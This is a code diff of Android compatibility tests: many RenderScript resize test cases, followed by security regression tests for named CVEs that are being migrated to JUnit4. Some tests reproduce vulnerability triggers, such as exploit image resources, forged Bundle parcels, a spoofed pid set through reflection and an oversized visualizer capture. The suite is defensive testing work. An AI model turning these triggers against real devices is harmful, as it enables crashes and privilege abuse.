+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 4, 0.5f, 2.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_3_SCALE05_20_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 3, 0.5f, 2.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_2_SCALE05_20_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 2, 0.5f, 2.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_1_SCALE05_20_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 1, 0.5f, 2.f, true);
+        checkError();
+    }
+
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_4_SCALE20_05_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 4, 2.f, 0.5f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_3_SCALE20_05_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 3, 2.f, 0.5f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_2_SCALE20_05_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 2, 2.f, 0.5f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_1_SCALE20_05_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 1, 2.f, 0.5f, true);
+        checkError();
+    }
+
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_4_SCALE05_05_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 4, 0.5f, 0.5f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_3_SCALE05_05_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 3, 0.5f, 0.5f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_2_SCALE05_05_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 2, 0.5f, 0.5f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_U8_1_SCALE05_05_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.UNSIGNED_8, 1, 0.5f, 0.5f, true);
+        checkError();
+    }
+
+
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_4_SCALE10_10_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.FLOAT_32, 4, 1.f, 1.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_3_SCALE10_10_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.FLOAT_32, 3, 1.f, 1.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_2_SCALE10_10_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.FLOAT_32, 2, 1.f, 1.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_1_SCALE10_10_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.FLOAT_32, 1, 1.f, 1.f, true);
+        checkError();
+    }
+
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_4_SCALE20_20_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.FLOAT_32, 4, 2.f, 2.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_3_SCALE20_20_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.FLOAT_32, 3, 2.f, 2.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_2_SCALE20_20_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.FLOAT_32, 2, 2.f, 2.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_1_SCALE20_20_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.FLOAT_32, 1, 2.f, 2.f, true);
+        checkError();
+    }
+
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_4_SCALE05_20_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.FLOAT_32, 4, 0.5f, 2.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_3_SCALE05_20_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.FLOAT_32, 3, 0.5f, 2.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_2_SCALE05_20_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.FLOAT_32, 2, 0.5f, 2.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_1_SCALE05_20_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.FLOAT_32, 1, 0.5f, 2.f, true);
+        checkError();
+    }
+
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_4_SCALE20_05_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.FLOAT_32, 4, 2.f, 0.5f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_3_SCALE20_05_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.FLOAT_32, 3, 2.f, 0.5f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_2_SCALE20_05_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.FLOAT_32, 2, 2.f, 0.5f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_1_SCALE20_05_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.FLOAT_32, 1, 2.f, 0.5f, true);
+        checkError();
+    }
+
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_4_SCALE05_05_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.FLOAT_32, 4, 0.5f, 0.5f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_3_SCALE05_05_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.FLOAT_32, 3, 0.5f, 0.5f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_2_SCALE05_05_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.FLOAT_32, 2, 0.5f, 0.5f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_1_SCALE05_05_inSquare_opt() {
+        testResize(inX, inX, Element.DataType.FLOAT_32, 1, 0.5f, 0.5f, true);
+        checkError();
+    }
+
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_4_SCALE10_10_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.FLOAT_32, 4, 1.f, 1.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_3_SCALE10_10_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.FLOAT_32, 3, 1.f, 1.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_2_SCALE10_10_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.FLOAT_32, 2, 1.f, 1.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_1_SCALE10_10_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.FLOAT_32, 1, 1.f, 1.f, true);
+        checkError();
+    }
+
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_4_SCALE20_20_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.FLOAT_32, 4, 2.f, 2.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_3_SCALE20_20_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.FLOAT_32, 3, 2.f, 2.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_2_SCALE20_20_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.FLOAT_32, 2, 2.f, 2.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_1_SCALE20_20_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.FLOAT_32, 1, 2.f, 2.f, true);
+        checkError();
+    }
+
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_4_SCALE05_20_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.FLOAT_32, 4, 0.5f, 2.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_3_SCALE05_20_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.FLOAT_32, 3, 0.5f, 2.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_2_SCALE05_20_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.FLOAT_32, 2, 0.5f, 2.f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_1_SCALE05_20_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.FLOAT_32, 1, 0.5f, 2.f, true);
+        checkError();
+    }
+
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_4_SCALE20_05_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.FLOAT_32, 4, 2.f, 0.5f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_3_SCALE20_05_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.FLOAT_32, 3, 2.f, 0.5f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_2_SCALE20_05_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.FLOAT_32, 2, 2.f, 0.5f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_1_SCALE20_05_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.FLOAT_32, 1, 2.f, 0.5f, true);
+        checkError();
+    }
+
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_4_SCALE05_05_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.FLOAT_32, 4, 0.5f, 0.5f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_3_SCALE05_05_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.FLOAT_32, 3, 0.5f, 0.5f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_2_SCALE05_05_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.FLOAT_32, 2, 0.5f, 0.5f, true);
+        checkError();
+    }
+    @AppModeFull(reason = "Instant apps cannot query vendor API level")
+    public void test_F32_1_SCALE05_05_inRectangle_opt() {
+        testResize(inX, inY, Element.DataType.FLOAT_32, 1, 0.5f, 0.5f, true);
         checkError();
     }
 
diff --git a/tests/tests/security/Android.bp b/tests/tests/security/Android.bp
index 5838d27..b82b188 100644
--- a/tests/tests/security/Android.bp
+++ b/tests/tests/security/Android.bp
@@ -33,6 +33,7 @@
         "compatibility-common-util-devicesidelib",
         "guava",
         "platform-test-annotations",
+        "sts-device-util",
         "hamcrest-library",
     ],
     libs: [
@@ -60,6 +61,7 @@
         "src/**/*.java",
         "src/**/*.kt",
         "src/android/security/cts/activity/ISecureRandomService.aidl",
+        "aidl/android/security/cts/IBitmapService.aidl",
         "aidl/android/security/cts/IIsolatedService.aidl",
         "aidl/android/security/cts/CVE_2021_0327/IBadProvider.aidl",
     ],
diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml
index 17aa9e8..e43d6aa 100644
--- a/tests/tests/security/AndroidManifest.xml
+++ b/tests/tests/security/AndroidManifest.xml
@@ -48,6 +48,10 @@
 
         <service android:name="android.security.cts.activity.SecureRandomService"
              android:process=":secureRandom"/>
+
+        <service android:name="android.security.cts.BitmapService"
+                 android:process=":bitmap_service" />
+
         <activity android:name="android.security.cts.MotionEventTestActivity"
              android:label="Test MotionEvent"
              android:exported="true">
diff --git a/tests/tests/security/aidl/android/security/cts/IBitmapService.aidl b/tests/tests/security/aidl/android/security/cts/IBitmapService.aidl
new file mode 100644
index 0000000..b9694c3
--- /dev/null
+++ b/tests/tests/security/aidl/android/security/cts/IBitmapService.aidl
@@ -0,0 +1,25 @@
+/*
+ * Copyright 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+parcelable BitmapWrapper;
+
+interface IBitmapService {
+    int getAllocationSize(in BitmapWrapper bitmap);
+    boolean didReceiveBitmap(in BitmapWrapper bitmap);
+    boolean ping();
+}
diff --git a/tests/tests/security/native/verified_boot/VerifiedBootTest.cpp b/tests/tests/security/native/verified_boot/VerifiedBootTest.cpp
index 31f3a1e..ac9074c 100644
--- a/tests/tests/security/native/verified_boot/VerifiedBootTest.cpp
+++ b/tests/tests/security/native/verified_boot/VerifiedBootTest.cpp
@@ -76,6 +76,12 @@
       continue;
     }
 
+    if (mount_points.find(entry.mount_point) == mount_points.end()) {
+      GTEST_LOG_(INFO) << entry.mount_point << " isn't mounted, skipping"
+          << " hashtree algorithm verification";
+      continue;
+    }
+
     if (android::base::EqualsIgnoreCase(entry.fs_type, "emmc")) {
       GTEST_LOG_(INFO) << entry.mount_point << " has emmc fs_type, skipping"
           << " hashtree algorithm verification";
diff --git a/tests/tests/security/res/raw/cve_2020_11135.mp4 b/tests/tests/security/res/raw/cve_2020_11135.mp4
new file mode 100644
index 0000000..55b6955
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2020_11135.mp4
Binary files differ
diff --git a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
index 9480251..f16b8fb 100644
--- a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
+++ b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
@@ -15,26 +15,30 @@
  */
 package android.security.cts;
 
+import static org.junit.Assert.*;
+
 import android.app.ActivityManager;
 import android.app.ApplicationExitInfo;
 import android.content.Context;
 import android.os.IBinder;
 import android.platform.test.annotations.AsbSecurityTest;
 import android.util.Log;
+import androidx.test.runner.AndroidJUnit4;
 
 import androidx.test.InstrumentationRegistry;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 import junit.framework.TestCase;
 
 import java.lang.reflect.InvocationTargetException;
 
-public class ActivityManagerTest extends TestCase {
+import org.junit.runner.RunWith;
+import org.junit.Test;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-    }
+@RunWith(AndroidJUnit4.class)
+public class ActivityManagerTest extends StsExtraBusinessLogicTestCase {
 
     @AsbSecurityTest(cveBugId = 19394591)
+    @Test
     public void testActivityManager_injectInputEvents() throws ClassNotFoundException {
         try {
             /*
@@ -53,6 +57,7 @@
 
     // b/144285917
     @AsbSecurityTest(cveBugId = 144285917)
+    @Test
     public void testActivityManager_attachNullApplication() {
         SecurityException securityException = null;
         Exception unexpectedException = null;
@@ -81,6 +86,7 @@
 
     // b/166667403
     @AsbSecurityTest(cveBugId = 166667403)
+    @Test
     public void testActivityManager_appExitReasonPackageNames() {
         final String mockPackage = "com.foo.bar";
         final String realPackage = "com.android.compatibility.common.deviceinfo";
diff --git a/tests/tests/security/src/android/security/cts/AllocatePixelRefIntOverflowTest.java b/tests/tests/security/src/android/security/cts/AllocatePixelRefIntOverflowTest.java
index 5d297c6..fca75a2 100644
--- a/tests/tests/security/src/android/security/cts/AllocatePixelRefIntOverflowTest.java
+++ b/tests/tests/security/src/android/security/cts/AllocatePixelRefIntOverflowTest.java
@@ -19,21 +19,28 @@
 import android.graphics.Bitmap;
 import android.graphics.BitmapFactory;
 import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+import static org.junit.Assert.*;
 
 import java.io.InputStream;
 
 import android.security.cts.R;
 
-public class AllocatePixelRefIntOverflowTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class AllocatePixelRefIntOverflowTest extends StsExtraBusinessLogicTestCase {
 
     /**
      * Verifies that the device is not vulnerable to ANDROID-19270126: Android
      * BitmapFactory.decodeStream JPG allocPixelRef integer overflow
      */
     @AsbSecurityTest(cveBugId = 19394591)
+    @Test
     public void testAllocateJavaPixelRefIntOverflow() {
-        InputStream exploitImage = mContext.getResources().openRawResource(
+        InputStream exploitImage = getInstrumentation().getContext().getResources().openRawResource(
                 R.raw.cve_2015_1531_b_19270126);
         /**
          * The decodeStream method results in SIGSEGV (Segmentation fault) on unpatched devices
diff --git a/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java b/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
index 73536e3..397c012 100644
--- a/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
+++ b/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.test.AndroidTestCase;
+import static org.junit.Assert.fail;
 
 import android.app.Activity;
 import android.os.BaseBundle;
@@ -27,21 +27,29 @@
 import android.view.View;
 import android.view.View.BaseSavedState;
 import android.annotation.SuppressLint;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 
 import java.io.InputStream;
 import java.lang.reflect.Field;
 import java.util.Random;
 
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
 import android.security.cts.R;
 import android.platform.test.annotations.AsbSecurityTest;
 
-public class AmbiguousBundlesTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class AmbiguousBundlesTest extends StsExtraBusinessLogicTestCase {
 
     /**
      * b/140417434
      * Vulnerability Behaviour: Failure via Exception
      */
     @AsbSecurityTest(cveBugId = 140417434)
+    @Test
     public void test_android_CVE_2020_0082() throws Exception {
 
         Ambiguator ambiguator = new Ambiguator() {
@@ -180,6 +188,7 @@
      * b/71992105
      */
     @AsbSecurityTest(cveBugId = 71992105)
+    @Test
     public void test_android_CVE_2017_13310() throws Exception {
 
         Ambiguator ambiguator = new Ambiguator() {
@@ -270,6 +279,7 @@
      * b/71508348
      */
     @AsbSecurityTest(cveBugId = 71508348)
+    @Test
     public void test_android_CVE_2018_9339() throws Exception {
 
         Ambiguator ambiguator = new Ambiguator() {
@@ -373,6 +383,7 @@
      * b/62998805
      */
     @AsbSecurityTest(cveBugId = 62998805)
+    @Test
     public void test_android_CVE_2017_0806() throws Exception {
         Ambiguator ambiguator = new Ambiguator() {
             @Override
@@ -436,6 +447,7 @@
      * b/73252178
      */
     @AsbSecurityTest(cveBugId = 73252178)
+    @Test
     public void test_android_CVE_2017_13311() throws Exception {
         Ambiguator ambiguator = new Ambiguator() {
             @Override
@@ -530,6 +542,7 @@
      * b/71714464
      */
     @AsbSecurityTest(cveBugId = 71714464)
+    @Test
     public void test_android_CVE_2017_13287() throws Exception {
         Ambiguator ambiguator = new Ambiguator() {
             @Override
diff --git a/tests/tests/security/src/android/security/cts/AndroidFutureTest.java b/tests/tests/security/src/android/security/cts/AndroidFutureTest.java
index 7b26ff0..ca85b65 100644
--- a/tests/tests/security/src/android/security/cts/AndroidFutureTest.java
+++ b/tests/tests/security/src/android/security/cts/AndroidFutureTest.java
@@ -25,6 +25,7 @@
 
 import androidx.test.core.app.ApplicationProvider;
 import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 
 import static org.junit.Assert.assertFalse;
 import org.junit.Test;
@@ -34,9 +35,9 @@
 import java.lang.reflect.Field;
 
 @RunWith(AndroidJUnit4.class)
-public class AndroidFutureTest {
+public class AndroidFutureTest extends StsExtraBusinessLogicTestCase {
 
-    @AsbSecurityTest(cveBugId = 186530450)
+    @AsbSecurityTest(cveBugId =  197228210)
     @Test
     public void testAndroidFutureReadThrowable() throws Exception {
         String filePath = "/data/system/" + System.currentTimeMillis();
diff --git a/tests/tests/security/src/android/security/cts/AssetManagerTest.java b/tests/tests/security/src/android/security/cts/AssetManagerTest.java
index 10e1c20..684fa6f 100644
--- a/tests/tests/security/src/android/security/cts/AssetManagerTest.java
+++ b/tests/tests/security/src/android/security/cts/AssetManagerTest.java
@@ -19,13 +19,19 @@
 import android.content.res.AssetManager;
 import android.content.res.XmlResourceParser;
 import android.platform.test.annotations.AsbSecurityTest;
+import androidx.test.runner.AndroidJUnit4;
 
-import com.android.compatibility.common.util.CtsAndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 
-public class AssetManagerTest extends CtsAndroidTestCase {
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class AssetManagerTest extends StsExtraBusinessLogicTestCase {
 
     // b/144028297
     @AsbSecurityTest(cveBugId = 144028297)
+    @Test
     public void testCloseThenFinalize() throws Exception {
         final XmlResourceParser[] parser = {null};
         final AssetManager[] assetManager = {AssetManager.class.newInstance()};
diff --git a/tests/tests/security/src/android/security/cts/AttributionSourceTest.java b/tests/tests/security/src/android/security/cts/AttributionSourceTest.java
new file mode 100644
index 0000000..e36fa49
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/AttributionSourceTest.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertThrows;
+
+import java.lang.reflect.Field;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import android.content.AttributionSource;
+import android.content.Context;
+import android.platform.test.annotations.AsbSecurityTest;
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.runner.AndroidJUnit4;
+
+@RunWith(AndroidJUnit4.class)
+public class AttributionSourceTest {
+
+    @AsbSecurityTest(cveBugId = 200288596)
+    @Test
+    public void testPidCheck() throws Exception {
+        Context context = ApplicationProvider.getApplicationContext();
+        AttributionSource attributionSource =
+                new AttributionSource(
+                        (AttributionSource)
+                                Context.class.getMethod("getAttributionSource").invoke(context),
+                        null);
+
+        Field attSourceStateField =
+                attributionSource.getClass().getDeclaredField("mAttributionSourceState");
+        attSourceStateField.setAccessible(true);
+
+        Object attSourceState = attSourceStateField.get(attributionSource);
+        attSourceState.getClass().getField("pid").setInt(attSourceState, 0);
+        final AttributionSource attributionSourceFinal = attributionSource;
+        assertThrows(SecurityException.class, () -> attributionSourceFinal.enforceCallingPid());
+    }
+}
+
diff --git a/tests/tests/security/src/android/security/cts/AudioSecurityTest.java b/tests/tests/security/src/android/security/cts/AudioSecurityTest.java
index 1e1878d..4c8fec8 100644
--- a/tests/tests/security/src/android/security/cts/AudioSecurityTest.java
+++ b/tests/tests/security/src/android/security/cts/AudioSecurityTest.java
@@ -23,14 +23,20 @@
 import android.platform.test.annotations.AsbSecurityTest;
 import android.util.Log;
 
-import com.android.compatibility.common.util.CtsAndroidTestCase;
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import static org.junit.Assert.*;
 
 import java.nio.ByteBuffer;
 import java.nio.ByteOrder;
 import java.util.Arrays;
 import java.util.UUID;
 
-public class AudioSecurityTest extends CtsAndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class AudioSecurityTest extends StsExtraBusinessLogicTestCase {
     private static final String TAG = "AudioSecurityTest";
 
     private static final int ERROR_DEAD_OBJECT = -7; // AudioEffect.ERROR_DEAD_OBJECT
@@ -58,30 +64,33 @@
 
     private static void testAllEffects(String testName, TestEffect testEffect) throws Exception {
         int failures = 0;
-        for (AudioEffect.Descriptor descriptor : AudioEffect.queryEffects()) {
-            final AudioEffect audioEffect;
-            try {
-                audioEffect = (AudioEffect)AudioEffect.class.getConstructor(
-                        UUID.class, UUID.class, int.class, int.class).newInstance(
-                                descriptor.type,
-                                descriptor.uuid, // uuid overrides type
-                                0 /* priority */, 0 /* audioSession */);
-            } catch (Exception e) {
-                Log.w(TAG, "effect " + testName + " " + descriptor.name
-                        + " cannot be created (ignoring)");
-                continue; // OK;
-            }
-            try {
-                testEffect.test(audioEffect);
-                Log.d(TAG, "effect " + testName + " " + descriptor.name + " success");
-            } catch (Exception e) {
-                Log.e(TAG, "effect " + testName + " " + descriptor.name + " exception failed!",
-                        e);
-                ++failures;
-            } catch (AssertionError e) {
-                Log.e(TAG, "effect " + testName + " " + descriptor.name + " assert failed!",
-                        e);
-                ++failures;
+        AudioEffect.Descriptor[] descriptors = AudioEffect.queryEffects();
+        if (descriptors != null) {
+            for (AudioEffect.Descriptor descriptor : descriptors) {
+                final AudioEffect audioEffect;
+                try {
+                    audioEffect = (AudioEffect)AudioEffect.class.getConstructor(
+                            UUID.class, UUID.class, int.class, int.class).newInstance(
+                                    descriptor.type,
+                                    descriptor.uuid, // uuid overrides type
+                                    0 /* priority */, 0 /* audioSession */);
+                } catch (Exception e) {
+                    Log.w(TAG, "effect " + testName + " " + descriptor.name
+                            + " cannot be created (ignoring)");
+                    continue; // OK;
+                }
+                try {
+                    testEffect.test(audioEffect);
+                    Log.d(TAG, "effect " + testName + " " + descriptor.name + " success");
+                } catch (Exception e) {
+                    Log.e(TAG, "effect " + testName + " " + descriptor.name + " exception failed!",
+                            e);
+                    ++failures;
+                } catch (AssertionError e) {
+                    Log.e(TAG, "effect " + testName + " " + descriptor.name + " assert failed!",
+                            e);
+                    ++failures;
+                }
             }
         }
         assertEquals("found " + testName + " " + failures + " failures",
@@ -90,6 +99,7 @@
 
     // b/28173666
     @AsbSecurityTest(cveBugId = 28173666)
+    @Test
     public void testAllEffectsGetParameterAttemptOffload_CVE_2016_3745() throws Exception {
         testAllEffects("get parameter attempt offload",
                 new TestEffect() {
@@ -104,6 +114,7 @@
     // b/32624850
     // b/32635664
     @AsbSecurityTest(cveBugId = 32438594)
+    @Test
     public void testAllEffectsGetParameter2AttemptOffload_CVE_2017_0398() throws Exception {
         testAllEffects("get parameter2 attempt offload",
                 new TestEffect() {
@@ -116,6 +127,7 @@
 
     // b/30204301
     @AsbSecurityTest(cveBugId = 30204301)
+    @Test
     public void testAllEffectsSetParameterAttemptOffload_CVE_2016_3924() throws Exception {
         testAllEffects("set parameter attempt offload",
                 new TestEffect() {
@@ -128,6 +140,7 @@
 
     // b/37536407
     @AsbSecurityTest(cveBugId = 32448258)
+    @Test
     public void testAllEffectsEqualizer_CVE_2017_0401() throws Exception {
         testAllEffects("equalizer get parameter name",
                 new TestEffect() {
@@ -355,6 +368,7 @@
 
     // b/31781965
     @AsbSecurityTest(cveBugId = 31781965)
+    @Test
     public void testVisualizerCapture_CVE_2017_0396() throws Exception {
         // Capture params
         final int CAPTURE_SIZE = 1 << 24; // 16MB seems to be large enough to cause a SEGV.
@@ -371,89 +385,93 @@
         final int bufferSize = bufferSamples * 2; // bytes per sample for 16 bits
         final short data[] = new short[bufferSamples]; // zero data
 
-        for (AudioEffect.Descriptor descriptor : AudioEffect.queryEffects()) {
-            if (descriptor.type.compareTo(UUID.fromString(VISUALIZER_TYPE)) != 0) {
-                continue;
-            }
-
-            AudioEffect audioEffect = null;
-            AudioTrack audioTrack = null;
-
-            try {
-                // create track and play
-                {
-                    audioTrack = new AudioTrack(AudioManager.STREAM_MUSIC, sampleRate,
-                            AudioFormat.CHANNEL_OUT_STEREO, format, bufferSize,
-                            AudioTrack.MODE_STATIC);
-                    assertEquals("Cannot write to audio track",
-                            bufferSamples,
-                            audioTrack.write(data, 0 /* offsetInBytes */, data.length));
-                    assertEquals("AudioTrack not initialized",
-                            AudioTrack.STATE_INITIALIZED,
-                            audioTrack.getState());
-                    assertEquals("Cannot set loop points",
-                            android.media.AudioTrack.SUCCESS,
-                            audioTrack.setLoopPoints(0 /* startInFrames */, bufferFrames, loops));
-                    audioTrack.play();
